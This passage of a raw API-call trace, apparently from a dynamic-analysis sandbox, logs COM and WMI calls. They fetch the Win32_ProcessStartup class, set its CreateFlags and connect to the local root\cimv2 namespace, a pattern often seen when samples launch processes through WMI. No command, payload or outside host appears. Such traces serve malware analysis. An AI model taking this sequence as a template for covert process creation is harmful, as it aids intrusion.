[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11e0030) returned 0x0 [0073.001] WbemLocator:IRpcOptions:Query (in: This=0x11e0030, pPrx=0x11ae240, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0073.002] WbemLocator:IUnknown:Release (This=0x11e0030) returned 0x2 [0073.002] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0073.002] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0073.002] WbemLocator:IUnknown:QueryInterface (in: This=0x11304c0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11304c0) returned 0x0 [0073.002] WbemLocator:IUnknown:Release (This=0x11304c0) returned 0x2 [0073.002] SysStringLen (param_1=0x0) returned 0x0 [0073.002] WbemDefPath:IWbemPath:GetText (in: This=0x116a580, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0073.002] WbemDefPath:IWbemPath:GetText (in: This=0x116a580, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0073.002] IWbemServices:GetObject (in: This=0x11304c0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11eb430, ppCallResult=0x0) returned 0x0 [0073.004] IWbemClassObject:Get (in: This=0x11eb430, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0073.004] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0073.004] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0073.004] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0073.004] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0073.005] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0073.005] IUnknown:Release (This=0x111f638) returned 0x1 [0073.007] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x11ae2a0) returned 0x0 [0073.007] WbemDefPath:IUnknown:QueryInterface (in: This=0x11ae2a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0073.007] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11ae2a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x116a340) returned 0x0 [0073.007] WbemDefPath:IUnknown:Release (This=0x11ae2a0) returned 0x0 [0073.007] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x116a340) returned 0x0 [0073.007] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0073.008] WbemDefPath:IUnknown:AddRef (This=0x116a340) returned 0x3 [0073.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0073.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0073.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x11ae200) returned 0x0 [0073.008] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11ae200, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.008] WbemDefPath:IUnknown:Release (This=0x11ae200) returned 0x3 [0073.008] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0073.008] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0073.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0073.008] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x2 [0073.008] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x1 [0073.008] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0073.008] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0073.008] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x116a340) returned 0x0 [0073.008] WbemDefPath:IUnknown:AddRef (This=0x116a340) returned 0x3 [0073.008] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x2 [0073.008] WbemDefPath:IWbemPath:SetText (This=0x116a340, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0073.009] IWbemClassObject:Get (in: This=0x11eb430, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c01f0*=0, plFlavor=0x29c01f4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c01f0*=19, plFlavor=0x29c01f4*=0) returned 0x0 [0073.009] IWbemClassObject:Get (in: This=0x11eb430, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c01f0*=19, plFlavor=0x29c01f4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c01f0*=19, plFlavor=0x29c01f4*=0) returned 0x0 [0073.009] IWbemClassObject:Put (This=0x11eb430, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0073.009] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a640, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0073.009] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0073.009] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0073.009] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.009] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0073.009] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0073.009] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0073.009] IUnknown:Release (This=0x111f638) returned 0x1 [0073.011] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x117f380) returned 0x0 [0073.011] WbemDefPath:IUnknown:QueryInterface (in: This=0x117f380, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0073.011] WbemDefPath:IClassFactory:CreateInstance (in: This=0x117f380, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x116a280) returned 0x0 [0073.011] WbemDefPath:IUnknown:Release (This=0x117f380) returned 0x0 [0073.011] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x116a280) returned 0x0 [0073.011] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0073.012] WbemDefPath:IUnknown:AddRef (This=0x116a280) returned 0x3 [0073.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0073.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0073.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x117f3e0) returned 0x0 [0073.012] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x117f3e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.012] WbemDefPath:IUnknown:Release (This=0x117f3e0) returned 0x3 [0073.012] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0073.012] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0073.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0073.012] WbemDefPath:IUnknown:Release (This=0x116a280) returned 0x2 [0073.012] WbemDefPath:IUnknown:Release (This=0x116a280) returned 0x1 [0073.012] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0073.012] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0073.012] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x116a280) returned 0x0 [0073.012] WbemDefPath:IUnknown:AddRef (This=0x116a280) returned 0x3 [0073.012] WbemDefPath:IUnknown:Release (This=0x116a280) returned 0x2 [0073.013] WbemDefPath:IWbemPath:SetText (This=0x116a280, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0073.013] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0073.013] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0073.013] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.013] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0073.013] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0073.013] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0073.013] IUnknown:Release (This=0x111f638) returned 0x1 [0073.014] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bece260) returned 0x0 [0073.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece260, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0073.014] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bece260, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bece280) returned 0x0 [0073.014] WbemLocator:IUnknown:Release (This=0x1bece260) returned 0x0 [0073.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece280, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bece280) returned 0x0 [0073.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece280, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0073.014] WbemLocator:IUnknown:AddRef (This=0x1bece280) returned 0x3 [0073.014] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece280, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0073.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece280, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0073.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece280, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0073.015] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0073.015] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0073.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece280, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0073.015] WbemLocator:IUnknown:Release (This=0x1bece280) returned 0x2 [0073.015] WbemLocator:IUnknown:Release (This=0x1bece280) returned 0x1 [0073.015] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0073.015] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0073.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1bece280, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bece280) returned 0x0 [0073.015] WbemLocator:IUnknown:AddRef (This=0x1bece280) returned 0x3 [0073.015] WbemLocator:IUnknown:Release (This=0x1bece280) returned 0x2 [0073.015] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0073.015] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0073.015] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.015] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bece2a0) returned 0x0 [0073.015] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bece2a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1130af0) returned 0x0 [0073.196] WbemLocator:IUnknown:QueryInterface (in: This=0x1130af0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11dfd20) returned 0x0 [0073.196] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfd20, pProxy=0x1130af0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0073.196] WbemLocator:IUnknown:Release (This=0x11dfd20) returned 0x1 [0073.196] WbemLocator:IUnknown:QueryInterface (in: This=0x1130af0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11dfd60) returned 0x0 [0073.196] WbemLocator:IUnknown:QueryInterface (in: This=0x1130af0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11dfd20) returned 0x0 [0073.196] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfd20, pProxy=0x1130af0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0073.196] WbemLocator:IUnknown:Release (This=0x11dfd20) returned 0x2 [0073.196] WbemLocator:IUnknown:Release (This=0x11dfd60) returned 0x1 [0073.196] CoTaskMemFree (pv=0x11a2180) [0073.196] WbemLocator:IUnknown:AddRef (This=0x1130af0) returned 0x2 [0073.196] WbemLocator:IUnknown:Release (This=0x1bece2a0) returned 0x0 [0073.197] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0073.197] CoGetContextToken (in: pToken=0x1b2fcaa0 | 